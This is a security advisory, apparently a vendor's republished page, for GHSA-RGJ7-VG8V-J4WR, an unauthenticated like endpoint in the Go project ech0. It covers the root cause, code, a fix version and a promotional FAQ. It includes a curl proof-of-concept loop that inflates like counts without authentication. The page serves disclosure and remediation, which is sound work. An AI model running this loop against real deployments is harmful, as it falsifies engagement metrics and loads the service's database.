GHSA-RGJ7-VG8V-J4WR

No authentication is required to invoke PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments fav_count for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.

Description

Root cause: The like endpoint is explicitly public (PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction, no viewer/user binding.

Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.

Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated PUT repeatedly → fav_count increases linearly.

Affected files

| Public route registration | internal/router/echo.go |
| Like mutation (no auth check) | internal/service/echo/echo.go |
| Handler | internal/handler/echo/echo.go |

Vulnerable / relevant code

Public PUT route:

	// Public
	appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
	appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())

Service does not use viewer / rate limit:

func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
	return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
		return echoService.echoRepository.LikeEcho(txCtx, id)
	})
}

Execution flow

1. Client resolves ECHO_ID (e.g. GET /api/echo/page with any valid token, or from UI).
2. Client sends PUT /api/echo/like/{ECHO_ID} with no Authorization header.
3. Gin matches public route → handler → EchoService.LikeEcho → DB increments fav_count.
4. Repeat N times → count increases by N.

Proof of concept

BASE="http://127.0.0.1:6277"

OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')

ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
  -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')

# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"

# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
  curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done

# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'

Observed proof (manual test):

• Each unauthenticated PUT returned HTTP 200 with success JSON (e.g. 点赞Echo成功, code:1).
• fav_count increased to 113 , demonstrating linear inflation from one client with no authentication.

Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to fav_count are untrustworthy.
high-volume loops add DB write load; possible abuse against availability at scale.

Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

GHSA-RGJ7-VG8V-J4WR has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8-0.20260503040728-a7e8b8e84bd1); upgrading removes the vulnerable code path.

Kodem intelligence

Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.

1. What is GHSA-RGJ7-VG8V-J4WR? GHSA-RGJ7-VG8V-J4WR is a medium-severity missing authentication for critical function vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 1.4.8-0.20260503040728-a7e8b8e84bd1. It is fixed in 1.4.8-0.20260503040728-a7e8b8e84bd1. A critical operation is accessible without requiring any authentication.
2. How severe is GHSA-RGJ7-VG8V-J4WR? GHSA-RGJ7-VG8V-J4WR has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/lin-snow/ech0 are affected by GHSA-RGJ7-VG8V-J4WR? github.com/lin-snow/ech0 (go) versions < 1.4.8-0.20260503040728-a7e8b8e84bd1 is affected.
4. Is there a fix for GHSA-RGJ7-VG8V-J4WR? Yes. GHSA-RGJ7-VG8V-J4WR is fixed in 1.4.8-0.20260503040728-a7e8b8e84bd1. Upgrade to this version or later.
5. Is GHSA-RGJ7-VG8V-J4WR exploitable, and should I be worried? Whether GHSA-RGJ7-VG8V-J4WR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-RGJ7-VG8V-J4WR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-RGJ7-VG8V-J4WR? Upgrade github.com/lin-snow/ech0 to 1.4.8-0.20260503040728-a7e8b8e84bd1 or later.